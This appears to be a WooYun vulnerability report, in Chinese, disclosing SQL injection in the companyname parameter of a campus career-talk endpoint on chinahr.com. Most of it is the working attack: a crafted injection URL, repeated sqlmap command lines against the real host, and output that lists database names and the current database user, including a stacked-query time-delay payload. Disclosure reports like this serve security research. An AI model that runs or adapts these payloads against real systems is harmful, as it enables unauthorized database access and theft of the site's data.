WooYun.org

1、注入点companyname参数。
http://campus.chinahr.com//campus/careertalk/careerinterface.ashx?cityid=&companyname=-1' OR 3*2*1=6 AND 000938=000938 -- &ctid=&currentindex=1&dateid=&hyid=&Op=search&optag=&orderby=ct_id&pagesize=10&ran=0.24026559432968497&schoolname=%C7%EB%CA%E4%C8%EB%D1%A7%D0%A3%C3%FB%B3%C6&timeid=
2、漏洞证明:
列数据库
[root@pentest sqlmap]# python sqlmap.py -u "http://campus.chinahr.com//campus/careertalk/careerinterface.ashx?cityid=&companyname=1&ctid=&currentindex=1&dateid=&hyid=&Op=search&optag=&orderby=ct_id&pagesize=10&ran=0.24026559432968497&schoolname=%C7%&timeid=" -p "companyname" --dba
Usage: python sqlmap.py [options]
sqlmap.py: error: no such option: --dba
[root@pentest sqlmap]# python sqlmap.py -u "http://campus.chinahr.com//campus/careertalk/careerinterface.ashx?cityid=&companyname=1&ctid=&currentindex=1&dateid=&hyid=&Op=search&optag=&orderby=ct_id&pagesize=10&ran=0.24026559432968497&schoolname=%C7%&timeid=" -p "companyname" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-adc8ac2}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:44:11
[09:44:11] [INFO] resuming back-end DBMS 'microsoft sql server'
[09:44:11] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: companyname (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: cityid=&companyname=1';WAITFOR DELAY '0:0:5'--&ctid=&currentindex=1&dateid=&hyid=&Op=search&optag=&orderby=ct_id&pagesize=10&ran=0.24026559432968497&schoolname=%C7%&timeid=
---
[09:44:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[09:44:12] [INFO] fetching database names
[09:44:12] [INFO] fetching number of databases
[09:44:12] [INFO] resumed: 17
[09:44:12] [INFO] resuming partial value: CampusC
[09:44:12] [WARNING] time-based comparison requires larger statistical model, please wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[09:45:37] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
hannel
[09:50:06] [INFO] retrieved: CareerTalk
[09:56:22] [INFO] retrieved: CRMS20
[10:00:29] [ERROR] invalid character detected. retrying..
[10:00:29] [WARNING] increasing time delay to 6 seconds
06
当前用户
[root@pentest sqlmap]# python sqlmap.py -u "http://campus.chinahr.com//campus/careertalk/careerinterface.ashx?cityid=&companyname=1&ctid=&currentindex=1&dateid=&hyid=&Op=search&optag=&orderby=ct_id&pagesize=10&ran=0.24026559432968497&schoolname=%C7%&timeid=" -p "companyname" --current-user
_
___ ___| |_____ ___ ___ {1.0-dev-adc8ac2}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 10:10:11
[10:10:12] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:10:12] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: companyname (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: cityid=&companyname=1';WAITFOR DELAY '0:0:5'--&ctid=&currentindex=1&dateid=&hyid=&Op=search&optag=&orderby=ct_id&pagesize=10&ran=0.24026559432968497&schoolname=%C7%&timeid=
---
[10:10:13] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[10:10:13] [INFO] fetching current user
[10:10:13] [WARNING] time-based comparison requires larger statistical model, please wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] n
[10:12:29] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
P
[10:13:57] [ERROR] invalid character detected. retrying..
[10:13:57] [WARNING] increasing time delay to 6 seconds
roject_campus
current user: 'Project_campus'
[10:25:15] [INFO] fetched data logged to text files under '/root/.sqlmap/output/campus.chinahr.com'
[*] shutting down at 10:25:15